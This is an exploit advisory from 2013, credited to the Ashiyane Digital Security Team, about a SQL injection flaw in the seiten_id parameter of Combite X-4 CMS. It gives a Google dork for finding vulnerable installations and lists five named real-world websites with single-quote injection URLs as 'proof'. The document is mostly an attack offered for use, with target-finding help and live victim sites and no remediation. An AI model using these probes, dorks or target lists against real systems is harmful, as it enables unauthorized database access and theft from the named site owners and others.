Combite X-4 CMS suffers from a remote SQL injection vulnerability. Note that this advisory has site-specific information.
f6a470ac8d8053635c380828348957c08802772c55ed66101469f06da8838d87
#********************************************************************************
# Exploit Title : Combite X-4 CMS SQL Injection Vulnerability
#
# Exploit Author : Ashiyane Digital Security Team
#
# Software Link : www.combite.com
#
# Tested on: Windows 7 , Linux
#
# Google Dork : intext:"Powered by Combite X-4 CMS"
#
# Date: 2013/09/11
#
--------------------------------------------------------------------
# Exploit : Sql Injection
#
# Location : [Target]/Index.asp?modul_id=&seiten_id=[Sql Injection]
#
#
# Proof:
#
# http://www.glorex.com/Index.asp?modul_id=&seiten_id=1'
#
# http://www.intrateam.ch/Index.asp?modul_id=&seiten_id=1'
#
# http://www.kokainsprechstunde.ch/Index.asp?modul_id=&seiten_id=1'
#
# http://www.mino-engineering.ch/Index.asp?modul_id=&seiten_id=1'
#
# http://www.meierarlesheim.ch/Index.asp?modul_id=&seiten_id=1'
#
######################
discovered by : ACC3SS
######################